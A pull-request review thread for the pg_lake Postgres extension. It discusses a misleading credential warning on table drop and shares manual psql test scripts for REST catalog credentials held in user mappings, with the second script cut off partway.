It's not a real storage leak in the common case: for default-location tables the cleanup falls back to marking the whole table prefix for deletion (TryMarkAllReferencedFilesForDeletion -> InsertPrefixDeletionRecord), which VACUUM then handles. Only a custom-location table actually orphans (it hits the "files ... removed manually" branch). So the practical issue is mostly the misleading message — it says "no credentials found ... Create a USER MAPPING" while the user is in the middle of deleting everything.

Is this from the earlier suggestion?

Yes. Before capture-on-drop, this same-txn case was blocked with a hard error, so you never reached the file-cleanup path. By letting the drop proceed (the capture-on-drop change), we exposed this cleanup path to the missing-credential situation — but that path was never taught to use the captured snapshot.

Why

  • pg_lake_table/src/ddl/drop_table.c MarkAllReferencedFilesForDeletion -> GetIcebergMetadataLocation(rel, true)
  • for a REST_CATALOG_READ_WRITE table -> pg_lake_iceberg/src/rest_catalog/rest_catalog_ops.c GetMetadataLocationForRestCatalogForIcebergTable -> GetRestCatalogOptionsForRelation (resolves from the live mapping, which is gone) -> ValidateRestCatalogOptions "no credentials found".

Fix — probably not worth chasing the credentials

Worth stressing first: functionally this is almost a non-issue. The drop succeeds, and the file cleanup already has a credential-free fallback:

	bool deleted = MarkAllReferencedFilesForDeletion(relationId);   // fails -> WARNING -> false
	if (!deleted)
	{
		char *tableLocation = GetWritableTableLocation(relationId, &queryArguments);  // no REST creds
		if (HasCustomLocation(relationId)) { ereport(WARNING, ... "removed manually"); return; }
		InsertPrefixDeletionRecord(tableLocation, orphanedAt);       // VACUUM cleans this up
	}

So for default-location tables (the normal case) the whole table prefix is queued for deletion and VACUUM removes the files — nothing actually leaks. Only a custom-location table truly orphans, and that path already warns "remove manually" by design. The single real wart is the misleading message ("no credentials found ... Create a USER MAPPING") surfacing mid-drop.

Threading the captured catalogOpts into the metadata lookup would fix it precisely, but it's tens of lines (an accessor for the file-static PgLakeXactRestCatalog, plus exported iceberg helpers) and risks new edge cases — not worth it for a wording problem.

Two cheap options instead:

  1. Leave it / document it. Drop succeeds, default-location self-cleans, custom-location already warns. Known behavior.
  2. Cosmetic only (~5 lines, one function, no hooks): in MarkAllReferencedFilesForDeletion's existing PG_CATCH, when the caught error is the missing-credential one, emit a short accurate message instead of re-throwing the raw error — e.g. "could not read REST catalog metadata to list files (credentials no longer available in this transaction); falling back to prefix-based cleanup."

Either way: not a blocker.

@sfc-gh-okalaci sfc-gh-okalaci left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approving this — really nice work, and thank you for the patience through all the rounds here. The whole credential flow via USER MAPPING reads much cleaner now, and honestly the UX for REST catalogs is shaping up very nicely.

My approval is conditional on the two follow-ups I posted just above:

  • the credential-capture impersonation (the small umuser gate) — this is the one I'd really like handled before/with merge, since it's a real cross-user boundary;
  • the misleading "no credentials" WARNING on drop — minor/cosmetic, totally fine as a tiny follow-up or even just documented.

For the record, here are the manual scripts I ran against a live Polaris while reviewing (credentials redacted). Sharing in case they are useful to fold into the suite or to re-run — the cascade loop and the warning repro are what surfaced the two follow-ups above.

pr-255-manual-tests.sql
-- ============================================================================
-- PR #255 - REST catalog credentials via CREATE USER MAPPING
-- Manual test script (run with psql, e.g.:  psql -d postgres -f pr-255-manual-tests.sql)
--
-- Goes from simple -> complex:
--   0. Setup / sanity
--   1. Happy path (your working example)
--   2. Per-user USER MAPPING + SET ROLE
--   3. Credential resolution order (server vs user mapping)
--   4. Option validation / error cases
--   5. GUC restriction (the security fix)
--   6. Redaction of secrets in query text
--   7. Built-in catalog server protections
--   8. ALTER USER MAPPING flows (rotate / add / drop)
--   9. ALTER SERVER endpoint guard with dependent tables
--  10. Token cache behavior (multiple roles in one backend)
--  99. Cleanup
--
-- Real credentials/endpoint live in the \set lines right below so you can
-- swap them in one place. They are substituted with :'NAME' (auto-quoted).
-- ============================================================================

\set ON_ERROR_STOP off
\set ENDPOINT '<your-polaris-endpoint>'
\set CID '<your-client-id>'
\set CSECRET '<your-client-secret>'


-- ============================================================================
-- 0. SETUP / SANITY
-- ============================================================================
\echo '=== 0. setup / sanity ==='

CREATE EXTENSION IF NOT EXISTS pg_lake CASCADE;

-- Confirm pg_lake_iceberg is at >= 3.4 (the version that adds iceberg_catalog).
SELECT extname, extversion FROM pg_extension WHERE extname = 'pg_lake_iceberg';

-- The iceberg_catalog FDW and the three built-in structural servers.
SELECT fdwname FROM pg_foreign_data_wrapper WHERE fdwname = 'iceberg_catalog';
SELECT srvname, srvtype
FROM pg_foreign_server
WHERE srvname LIKE 'pg_lake_%catalog'
ORDER BY srvname;

-- ----------------------------------------------------------------------------
-- Robust from-scratch reset.
--
-- IMPORTANT FOOTGUN: dropping a *writable* REST iceberg table sends a DELETE
-- to the remote catalog, which needs credentials.  If the USER MAPPING that
-- held those credentials is already gone, the table drop fails with
-- "no credentials found" and the object is wedged.  DROP SERVER ... CASCADE is
-- unsafe for the same reason -- it may drop the mapping before the tables.
--
-- So we always: (1) (re)create a PUBLIC mapping so drops can authenticate,
-- (2) drop every table on these servers, (3) drop mappings, (4) drop servers.
-- RESET ROLE first in case a previous partial run left us inside SET ROLE.
-- ----------------------------------------------------------------------------
RESET ROLE;

-- (1) ensure credentials exist before dropping anything that needs them.
--     (errors harmlessly with ON_ERROR_STOP off if the server is absent)
CREATE USER MAPPING IF NOT EXISTS FOR PUBLIC SERVER my_polaris
    OPTIONS (client_id :'CID', client_secret :'CSECRET');
CREATE USER MAPPING IF NOT EXISTS FOR PUBLIC SERVER my_polaris2
    OPTIONS (client_id :'CID', client_secret :'CSECRET');
-- wrong_creds_srv may be left with a BAD secret if an earlier run aborted
-- mid-rotation; force-set good creds so its dependent tables can be dropped.
CREATE USER MAPPING IF NOT EXISTS FOR PUBLIC SERVER wrong_creds_srv
    OPTIONS (client_id :'CID', client_secret :'CSECRET');
ALTER USER MAPPING FOR PUBLIC SERVER wrong_creds_srv
    OPTIONS (SET client_id :'CID', SET client_secret :'CSECRET');

-- (2) drop every iceberg table that depends on any of our test servers,
--     including ad-hoc leftovers from earlier manual runs.
--
--     NOTE: pg_lake iceberg tables do NOT set ft.ftserver to the catalog
--     server; the catalog link is recorded in pg_depend (which is what
--     DROP SERVER ... CASCADE follows).  So we discover dependents via
--     pg_depend, not pg_foreign_table.ftserver.  We must drop them here,
--     while the PUBLIC mapping above still supplies credentials for the
--     per-table remote DELETE.
DO $reset$
DECLARE r record;
BEGIN
  FOR r IN
    SELECT DISTINCT n.nspname, c.relname
    FROM pg_depend d
    JOIN pg_foreign_server s ON s.oid = d.refobjid AND d.refclassid = 'pg_foreign_server'::regclass
    JOIN pg_class c          ON c.oid = d.objid    AND d.classid    = 'pg_class'::regclass
    JOIN pg_namespace n      ON n.oid = c.relnamespace
    WHERE s.srvname IN ('my_polaris', 'my_polaris2', 'no_creds_srv', 'wrong_creds_srv')
      AND c.relkind = 'f'
  LOOP
    EXECUTE format('DROP TABLE IF EXISTS %I.%I', r.nspname, r.relname);
  END LOOP;
END
$reset$;

DROP TABLE IF EXISTS t_simple;
DROP TABLE IF EXISTS t_dep;

-- (3) drop mappings, then (4) drop servers.
DROP USER MAPPING IF EXISTS FOR analyst SERVER my_polaris;
DROP USER MAPPING IF EXISTS FOR PUBLIC  SERVER my_polaris;
DROP USER MAPPING IF EXISTS FOR PUBLIC  SERVER my_polaris2;
DROP USER MAPPING IF EXISTS FOR PUBLIC  SERVER wrong_creds_srv;
DROP SERVER IF EXISTS my_polaris CASCADE;
DROP SERVER IF EXISTS my_polaris2 CASCADE;
DROP SERVER IF EXISTS no_creds_srv CASCADE;
DROP SERVER IF EXISTS wrong_creds_srv CASCADE;


-- ============================================================================
-- 1. HAPPY PATH  (your working example)
-- ============================================================================
\echo '=== 1. happy path: server + PUBLIC mapping + table ==='

-- 1a. Server carries only non-secret config (no credentials here).
CREATE SERVER my_polaris TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT');

-- 1b. Credentials attached via a PUBLIC user mapping.
CREATE USER MAPPING FOR PUBLIC SERVER my_polaris
    OPTIONS (client_id :'CID', client_secret :'CSECRET');

-- Inspect what got stored (note: client_secret is visible to superuser here;
-- redaction is about the *query text*, not pg_user_mappings).
SELECT srvname, umoptions
FROM pg_user_mappings
WHERE srvname = 'my_polaris';

-- 1c. Create a table against the catalog (this triggers a real REST call).
CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'my_polaris');

INSERT INTO t_simple VALUES (1), (2), (3);
SELECT count(*) AS rows_in_t_simple FROM t_simple;
SELECT * FROM t_simple ORDER BY a;

DROP TABLE t_simple;


-- ============================================================================
-- 2. PER-USER USER MAPPING + SET ROLE
-- ============================================================================
\echo '=== 2. per-user mapping + SET ROLE ==='

-- A non-superuser role that can use the FDW (lake_write is granted USAGE in 3.4).
DROP ROLE IF EXISTS analyst;
CREATE ROLE analyst LOGIN;
-- Role grants needed to create/write iceberg tables:
--   lake_write       -> USAGE on the iceberg_catalog FDW + built-in catalogs
--   lake_read_write  -> USAGE on the pg_lake_iceberg data server (the server
--                       the iceberg foreign tables actually attach to)
GRANT lake_write, lake_read_write TO analyst;
-- A user-created catalog server needs an explicit USAGE grant for non-owners.
GRANT USAGE ON FOREIGN SERVER my_polaris TO analyst;
-- Since PG15 the public schema does not allow non-owners to CREATE; grant it
-- so analyst can create the test table here.
GRANT CREATE ON SCHEMA public TO analyst;

-- Per-user mapping for analyst (wins over PUBLIC for that role).
DROP USER MAPPING IF EXISTS FOR analyst SERVER my_polaris;
CREATE USER MAPPING FOR analyst SERVER my_polaris
    OPTIONS (client_id :'CID', client_secret :'CSECRET');

-- There should now be a PUBLIC mapping and an analyst mapping on my_polaris.
SELECT usename, srvname
FROM pg_user_mappings
WHERE srvname = 'my_polaris'
ORDER BY usename NULLS FIRST;

-- analyst resolves to its own mapping; this should succeed.
SET ROLE analyst;
SELECT current_user;
CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'my_polaris');
INSERT INTO t_simple VALUES (10), (20);
SELECT count(*) AS analyst_rows FROM t_simple;
DROP TABLE t_simple;
RESET ROLE;


-- ============================================================================
-- 3. CREDENTIAL RESOLUTION ORDER  (server vs user mapping)
--    Order for user-created servers: server options < user mapping (UM wins).
--    `scope` is the only option allowed on BOTH; UM scope overrides server scope.
-- ============================================================================
\echo '=== 3. resolution order: scope on server vs user mapping ==='

DROP USER MAPPING IF EXISTS FOR PUBLIC SERVER my_polaris2;
DROP SERVER IF EXISTS my_polaris2 CASCADE;

-- Server sets a scope; user mapping overrides it.
CREATE SERVER my_polaris2 TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT', scope 'PRINCIPAL_ROLE:ALL');

CREATE USER MAPPING FOR PUBLIC SERVER my_polaris2
    OPTIONS (client_id :'CID', client_secret :'CSECRET', scope 'PRINCIPAL_ROLE:ALL');

-- Both layers are accepted; the user-mapping scope is the effective one.
SELECT srvname, srvoptions FROM pg_foreign_server WHERE srvname = 'my_polaris2';
SELECT srvname, umoptions FROM pg_user_mappings WHERE srvname = 'my_polaris2';

CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'my_polaris2');
SELECT count(*) FROM t_simple;
DROP TABLE t_simple;

DROP USER MAPPING FOR PUBLIC SERVER my_polaris2;
DROP SERVER my_polaris2 CASCADE;


-- ============================================================================
-- 4. OPTION VALIDATION / ERROR CASES   (each statement below should ERROR)
-- ============================================================================
\echo '=== 4. validation errors (each should fail) ==='

-- 4a. Credentials are NOT valid on a SERVER (only on a user mapping).
\echo '--- 4a. client_id/client_secret on SERVER -> error ---'
CREATE SERVER bad_srv TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT', client_id :'CID');

-- 4b. Server-only options are NOT valid on a USER MAPPING.
--     Target CURRENT_USER (which has no mapping on my_polaris yet) so we hit the
--     option-context validation, not a "user mapping already exists" conflict.
\echo '--- 4b. rest_endpoint on USER MAPPING -> error ---'
CREATE USER MAPPING FOR CURRENT_USER SERVER my_polaris
    OPTIONS (rest_endpoint :'ENDPOINT');

-- 4c. Invalid auth type.
\echo '--- 4c. invalid rest_auth_type -> error ---'
CREATE SERVER bad_auth TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT', rest_auth_type 'banana');

-- 4d. Empty value rejected.
\echo '--- 4d. empty rest_endpoint -> error ---'
CREATE SERVER bad_empty TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint '');

-- 4e. Endpoint without a URI scheme rejected.
\echo '--- 4e. rest_endpoint without scheme -> error ---'
CREATE SERVER bad_scheme TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint 'polaris.example.com/no/scheme');

-- 4f. Unknown option name rejected (hint lists valid options).
\echo '--- 4f. unknown option -> error ---'
CREATE SERVER bad_opt TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT', bogus_option 'x');

-- 4g. Server with endpoint but NO user mapping -> "no credentials found"
--     with the user-created-server hint (NOT the GUC hint).
\echo '--- 4g. no user mapping -> no credentials found (UM hint) ---'
CREATE SERVER no_creds_srv TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT');
CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'no_creds_srv');
DROP SERVER no_creds_srv CASCADE;


-- ============================================================================
-- 4b. WRONG CREDENTIALS  (well-formed, but rejected by the catalog)
--     Unlike group 4g ("no credentials found", which fails locally at
--     resolution time), these credentials are present and non-empty, so they
--     pass local validation.  They fail later, at the OAuth *token request*
--     against Polaris, with an error like:
--         ERROR:  Rest Catalog OAuth token request failed (HTTP 401)
-- ============================================================================
\echo '=== 4b. wrong credentials: well-formed but rejected by catalog ==='

DROP USER MAPPING IF EXISTS FOR PUBLIC SERVER wrong_creds_srv;
DROP SERVER IF EXISTS wrong_creds_srv CASCADE;

CREATE SERVER wrong_creds_srv TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT');

-- 4b-i. valid client_id, bogus client_secret -> token request rejected.
\echo '--- 4b-i. wrong client_secret -> OAuth token request fails ---'
CREATE USER MAPPING FOR PUBLIC SERVER wrong_creds_srv
    OPTIONS (client_id :'CID', client_secret 'totally-wrong-secret');
CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'wrong_creds_srv');

-- 4b-ii. bogus client_id, valid client_secret -> token request rejected.
\echo '--- 4b-ii. wrong client_id -> OAuth token request fails ---'
ALTER USER MAPPING FOR PUBLIC SERVER wrong_creds_srv
    OPTIONS (SET client_id 'totally-wrong-id', SET client_secret :'CSECRET');
CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'wrong_creds_srv');

-- 4b-iii. start valid, then rotate to a wrong secret: the ALTER invalidates the
--         cached token, so the very next catalog call re-authenticates with the
--         bad secret and the query fails on a previously-working table.
\echo '--- 4b-iii. rotate good -> bad: existing-table queries start failing ---'
ALTER USER MAPPING FOR PUBLIC SERVER wrong_creds_srv
    OPTIONS (SET client_id :'CID', SET client_secret :'CSECRET');
CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'wrong_creds_srv');
INSERT INTO t_simple VALUES (1);                 -- works (good creds)
SELECT count(*) AS rows_before_rotation FROM t_simple;

ALTER USER MAPPING FOR PUBLIC SERVER wrong_creds_srv
    OPTIONS (SET client_secret 'now-its-wrong');  -- invalidates token cache

-- The WRITE path reliably forces re-authentication, so this INSERT must FAIL
-- (token cache was invalidated by the ALTER; re-auth uses the bad secret).
\echo '--- this INSERT should FAIL (re-auth with bad secret) ---'
INSERT INTO t_simple VALUES (2);
-- NOTE: a SELECT here may still SUCCEED -- once the table''s Iceberg metadata
-- has been resolved in this session, reads can be served from cached metadata
-- plus object-store credentials without re-hitting the catalog token endpoint.
-- So this is informational, not a pass/fail assertion.
\echo '--- this SELECT may still succeed (served from cached metadata) ---'
SELECT count(*) FROM t_simple;

-- restore good creds so the table can be dropped cleanly (remote DELETE needs auth)
ALTER USER MAPPING FOR PUBLIC SERVER wrong_creds_srv
    OPTIONS (SET client_secret :'CSECRET');
DROP TABLE t_simple;

DROP USER MAPPING FOR PUBLIC SERVER wrong_creds_srv;
DROP SERVER wrong_creds_srv CASCADE;


-- ============================================================================
-- 5. GUC RESTRICTION  (the security fix in this PR)
--    GUC credentials feed ONLY the built-in 'rest' catalog. A user-created
--    server must NOT inherit them, even with the GUCs set in the session.
-- ============================================================================
\echo '=== 5. GUC credentials do NOT leak to user-created servers ==='

-- Set credential GUCs in this session.
SET pg_lake_iceberg.rest_catalog_client_id = :'CID';
SET pg_lake_iceberg.rest_catalog_client_secret = :'CSECRET';
SET pg_lake_iceberg.rest_catalog_host = :'ENDPOINT';

SHOW pg_lake_iceberg.rest_catalog_client_id;

-- 5a. A user-created server with NO user mapping must STILL fail: GUC creds
--     are not inherited. Expect "no credentials found" with the UM hint.
\echo '--- 5a. user server ignores GUC creds -> error ---'
DROP SERVER IF EXISTS guc_leak_srv CASCADE;
CREATE SERVER guc_leak_srv TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT');
CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'guc_leak_srv');
DROP SERVER guc_leak_srv CASCADE;

-- 5b. The built-in 'rest' catalog DOES use the GUC credentials (this should
--     succeed end-to-end against Polaris, using host/id/secret from GUCs).
\echo '--- 5b. built-in rest catalog uses GUC creds -> ok ---'
CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'rest');
INSERT INTO t_simple VALUES (42);
SELECT count(*) AS builtin_rest_rows FROM t_simple;
DROP TABLE t_simple;

RESET pg_lake_iceberg.rest_catalog_client_id;
RESET pg_lake_iceberg.rest_catalog_client_secret;
RESET pg_lake_iceberg.rest_catalog_host;


-- ============================================================================
-- 6. REDACTION of secrets in query text
--    Requires pg_stat_statements (must be in shared_preload_libraries).
--    The whole CREATE/ALTER USER MAPPING statement text is blanked when it
--    carries a credential option; a scope-only ALTER stays visible.
-- ============================================================================
\echo '=== 6. redaction in pg_stat_statements ==='

-- This will fail if pg_stat_statements is not preloaded; that is fine.
CREATE EXTENSION IF NOT EXISTS pg_stat_statements;
SELECT pg_stat_statements_reset();

DROP SERVER IF EXISTS redact_srv CASCADE;
CREATE SERVER redact_srv TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT');

-- 6a. Statement WITH credentials -> should appear redacted.
CREATE USER MAPPING FOR PUBLIC SERVER redact_srv
    OPTIONS (client_id 'REDACT_ME_ID', client_secret 'REDACT_ME_SECRET');

-- 6b. scope-only ALTER -> should stay visible (no credential bytes moved).
ALTER USER MAPPING FOR PUBLIC SERVER redact_srv
    OPTIONS (ADD scope 'PRINCIPAL_ROLE:VISIBLE_SCOPE');

-- 6c. ALTER that touches a credential -> should be redacted again.
ALTER USER MAPPING FOR PUBLIC SERVER redact_srv
    OPTIONS (SET client_secret 'ROTATED_REDACT_ME');

-- Inspect: the secret strings must NOT appear; redaction marker should.
-- The scope-only ALTER (with VISIBLE_SCOPE) SHOULD still be visible.
SELECT query
FROM pg_stat_statements
WHERE query ILIKE '%user mapping%' OR query ILIKE '%redacted%'
ORDER BY query;

\echo '--- sanity: these counts should all be 0 ---'
SELECT
  count(*) FILTER (WHERE query ILIKE '%REDACT_ME_ID%')      AS leaked_client_id,
  count(*) FILTER (WHERE query ILIKE '%REDACT_ME_SECRET%')  AS leaked_secret,
  count(*) FILTER (WHERE query ILIKE '%ROTATED_REDACT_ME%') AS leaked_rotated
FROM pg_stat_statements;

\echo '--- sanity: scope-only ALTER should still be visible (count >= 1) ---'
SELECT count(*) AS visible_scope_only
FROM pg_stat_statements
WHERE query ILIKE '%VISIBLE_SCOPE%';

DROP USER MAPPING FOR PUBLIC SERVER redact_srv;
DROP SERVER redact_srv CASCADE;


-- ============================================================================
-- 7. BUILT-IN CATALOG SERVER PROTECTIONS  (each statement below should ERROR)
-- ============================================================================
\echo '=== 7. built-in server protections (each should fail) ==='

\echo '--- 7a. user mapping on built-in rest catalog -> error ---'
CREATE USER MAPPING FOR PUBLIC SERVER pg_lake_rest_catalog
    OPTIONS (client_id :'CID', client_secret :'CSECRET');

\echo '--- 7b. ALTER built-in server -> error ---'
ALTER SERVER pg_lake_rest_catalog OPTIONS (ADD rest_endpoint :'ENDPOINT');

\echo '--- 7c. rename built-in server -> error ---'
ALTER SERVER pg_lake_rest_catalog RENAME TO my_rest;

\echo '--- 7d. create server with reserved long name -> error ---'
CREATE SERVER pg_lake_rest_catalog TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT');

\echo '--- 7e. create iceberg_catalog server with TYPE postgres -> error ---'
CREATE SERVER wrong_type TYPE 'postgres'
    FOREIGN DATA WRAPPER iceberg_catalog;

\echo '--- 7f. create iceberg_catalog server with no TYPE -> error ---'
CREATE SERVER no_type
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT');

\echo '--- 7g. rename a user-created iceberg_catalog server -> error ---'
ALTER SERVER my_polaris RENAME TO my_polaris_renamed;

\echo '--- 7h. ALTER FOREIGN DATA WRAPPER iceberg_catalog -> error ---'
ALTER FOREIGN DATA WRAPPER iceberg_catalog OPTIONS (ADD x 'y');


-- ============================================================================
-- 8. ALTER USER MAPPING flows (rotate / add / drop)
-- ============================================================================
\echo '=== 8. ALTER USER MAPPING flows ==='

-- Rotate the secret (token cache is invalidated via syscache callback).
ALTER USER MAPPING FOR PUBLIC SERVER my_polaris
    OPTIONS (SET client_secret :'CSECRET');

-- Add a scope override on the mapping.
ALTER USER MAPPING FOR PUBLIC SERVER my_polaris
    OPTIONS (ADD scope 'PRINCIPAL_ROLE:ALL');

SELECT srvname, umoptions FROM pg_user_mappings WHERE srvname = 'my_polaris' ORDER BY usename NULLS FIRST;

-- Drop the scope override again.
ALTER USER MAPPING FOR PUBLIC SERVER my_polaris
    OPTIONS (DROP scope);

-- Table still works after the credential rotation.
CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'my_polaris');
SELECT count(*) FROM t_simple;
DROP TABLE t_simple;


-- ============================================================================
-- 9. ALTER SERVER endpoint guard with dependent tables
--    Changing rest_endpoint while a dependent iceberg table exists is blocked.
-- ============================================================================
\echo '=== 9. ALTER SERVER rest_endpoint with dependent table -> error ==='

CREATE TABLE t_dep (a int) USING iceberg WITH (catalog = 'my_polaris');

\echo '--- 9a. change rest_endpoint while t_dep exists -> error ---'
ALTER SERVER my_polaris OPTIONS (SET rest_endpoint 'https://other.example.com/polaris');

-- After dropping the dependent table, the same ALTER is allowed (then revert).
DROP TABLE t_dep;
\echo '--- 9b. same ALTER after dropping dependents -> ok, then revert ---'
ALTER SERVER my_polaris OPTIONS (SET rest_endpoint 'https://other.example.com/polaris');
ALTER SERVER my_polaris OPTIONS (SET rest_endpoint :'ENDPOINT');


-- ============================================================================
-- 10. TOKEN CACHE: multiple roles in one backend
--     PUBLIC + per-user mappings; each role resolves its own credentials.
-- ============================================================================
\echo '=== 10. token cache across SET ROLE in one session ==='

-- analyst (per-user mapping) and a second role using PUBLIC.
DROP ROLE IF EXISTS reader;
CREATE ROLE reader LOGIN;
GRANT lake_write, lake_read_write TO reader;
GRANT USAGE ON FOREIGN SERVER my_polaris TO reader;
GRANT CREATE ON SCHEMA public TO reader;

-- analyst uses its own mapping; reader falls back to PUBLIC. Both should work
-- within the same backend, exercising the (serverOid, userMappingOid) cache key.
SET ROLE analyst;
CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'my_polaris');
INSERT INTO t_simple VALUES (1);
SELECT current_user, count(*) FROM t_simple;
DROP TABLE t_simple;
RESET ROLE;

SET ROLE reader;
CREATE TABLE t_simple (a int) USING iceberg WITH (catalog = 'my_polaris');
INSERT INTO t_simple VALUES (2);
SELECT current_user, count(*) FROM t_simple;
DROP TABLE t_simple;
RESET ROLE;


-- ============================================================================
-- 99. CLEANUP
-- ============================================================================
\echo '=== 99. cleanup ==='

DROP TABLE IF EXISTS t_simple;
DROP TABLE IF EXISTS t_dep;
DROP USER MAPPING IF EXISTS FOR analyst SERVER my_polaris;
DROP USER MAPPING IF EXISTS FOR PUBLIC SERVER my_polaris;
DROP SERVER IF EXISTS my_polaris CASCADE;
-- Clear privileges/ownership these roles hold (e.g. CREATE ON SCHEMA public,
-- USAGE on servers) so DROP ROLE doesn't fail with a dependency error.
DROP OWNED BY analyst, reader;
DROP ROLE IF EXISTS analyst;
DROP ROLE IF EXISTS reader;

\echo '=== done ==='
pr-255-cascade-loop.sql
-- ============================================================================
-- PR #255 - CASCADE capture-on-drop stress test (single iteration).
--
-- Exercises the be7f7b17 fix ("capture REST catalog credentials on
-- user-mapping drop").  Dropping a *writable* REST iceberg table sends a
-- remote DELETE that needs credentials.  In a DROP SERVER ... CASCADE the
-- user mapping (which holds the credentials) and the dependent tables are
-- both direct dependents of the server, and Postgres visits cascade siblings
-- in descending-OID order.  Before the fix, if the mapping was visited first
-- the credentials vanished before the table DELETEs could authenticate and
-- the whole cascade wedged with "no credentials found" -- non-deterministic
-- depending on OID order.  The fix captures the credentials into the
-- transaction the moment the mapping is dropped, so the cascade always works.
--
-- This script must complete with ZERO errors/warnings.  Run it in a loop:
--   for i in $(seq 1 N); do
--     psql -d postgres -v ON_ERROR_STOP=1 -f pr-255-cascade-loop.sql || break
--   done
-- and watch for any ERROR / WARNING / "no credentials" in the output.
-- ============================================================================

\set ENDPOINT '<your-polaris-endpoint>'
\set CID '<your-client-id>'
\set CSECRET '<your-client-secret>'

\echo '########## CASCADE capture-on-drop iteration start ##########'

-- ----------------------------------------------------------------------------
-- Forgiving reset (a previous *broken* run could leave wedged objects).
-- In the normal case these are all no-ops because every section below tears
-- itself down.  Errors here are tolerated but will still print, so a clean
-- run shows nothing.
-- ----------------------------------------------------------------------------
\set ON_ERROR_STOP off
RESET ROLE;
DROP SERVER IF EXISTS cascade_a CASCADE;
DROP SERVER IF EXISTS cascade_b CASCADE;
DROP SERVER IF EXISTS cascade_c CASCADE;
DO $reset$
BEGIN
  IF EXISTS (SELECT FROM pg_roles WHERE rolname = 'cascade_user') THEN
    EXECUTE 'DROP OWNED BY cascade_user';
  END IF;
END
$reset$;
DROP ROLE IF EXISTS cascade_user;

-- From here on, ANY error must fail the iteration (and the loop).
\set ON_ERROR_STOP on

-- ============================================================================
-- Case A: table-first ordering.
--   Mapping is created BEFORE the tables, so the tables get higher OIDs and
--   the cascade visits them first.  This is the "easy" ordering, but with many
--   tables it still proves every per-table remote DELETE authenticates.
-- ============================================================================
\echo '--- A: DROP SERVER CASCADE, table-first ordering (5 tables) ---'
CREATE SERVER cascade_a TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT');
CREATE USER MAPPING FOR PUBLIC SERVER cascade_a
    OPTIONS (client_id :'CID', client_secret :'CSECRET');

DO $mktabs$
DECLARE i int;
BEGIN
  FOR i IN 1..5 LOOP
    EXECUTE format('CREATE TABLE cascade_a_t%s (a int) USING iceberg WITH (catalog = %L)', i, 'cascade_a');
    EXECUTE format('INSERT INTO cascade_a_t%s VALUES (%s), (%s)', i, i, i * 10);
  END LOOP;
END
$mktabs$;

-- All five writable tables + the mapping go away together; the per-table
-- remote DELETEs must authenticate.  Must NOT wedge.
DROP SERVER cascade_a CASCADE;

-- ============================================================================
-- Case B: user-mapping-first ordering + multiple mappings.
--   Tables are created first, THEN the PUBLIC mapping is dropped+recreated so
--   it gets the highest OID and the cascade visits the mapping *before* the
--   tables.  This is exactly the ordering that wedged before the fix.
--   A second (per-user) mapping is present too, so the cascade drops several
--   mappings.
-- ============================================================================
\echo '--- B: DROP SERVER CASCADE, user-mapping-first ordering (5 tables, 2 mappings) ---'
CREATE ROLE cascade_user;
CREATE SERVER cascade_b TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint :'ENDPOINT');
CREATE USER MAPPING FOR PUBLIC SERVER cascade_b
    OPTIONS (client_id :'CID', client_secret :'CSECRET');
CREATE USER MAPPING FOR cascade_user SERVER cascade_b
    OPTIONS (client_id :'CID', client_secret :'CSECRET');

DO $mktabs$
DECLARE i int;
BEGIN
  FOR i IN 1..5 LOOP
    EXECUTE format('CREATE TABLE cascade_b_t%s (a int) USING iceberg WITH (catalog = %L)', i, 'cascade_b');
    EXECUTE format('INSERT INTO cascade_b_t%s VALUES (%s)', i, i);
  END LOOP;
END
$mktabs$;

-- Flip OID order: recreate the PUBLIC mapping LAST so it is the highest-OID
-- dependent and the cascade visits it first.  (Dropping the mapping while
-- tables exist is itself the capture path -- it must not error.)
DROP USER MAPPING FOR PUBLIC SERVER cascade_b;
CREATE USER MAPPING FOR PUBLIC SERVER cascade_b
    OPTIONS (client_id :'CID', client_secret :'CSECRET');

-- Cascade now visits the mapping first; capture-on-drop must let it succeed.
DROP SERVER cascade_b CASCADE;

DROP ROLE IF EXISTS cascade_user;

-- ============================================================================
-- Case C: same-transaction DROP USER MAPPING then DROP TABLE.
--   The mapping is dropped first inside the txn; the capture binds its
--   credentials so the table drop fired afterwards can still authenticate its
--   post-commit DELETE.
-- ============================================================================
\echo '--- C: same-txn DROP USER MAPPING then DROP TABLE ---'
CREATE SERVER cascade_c TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
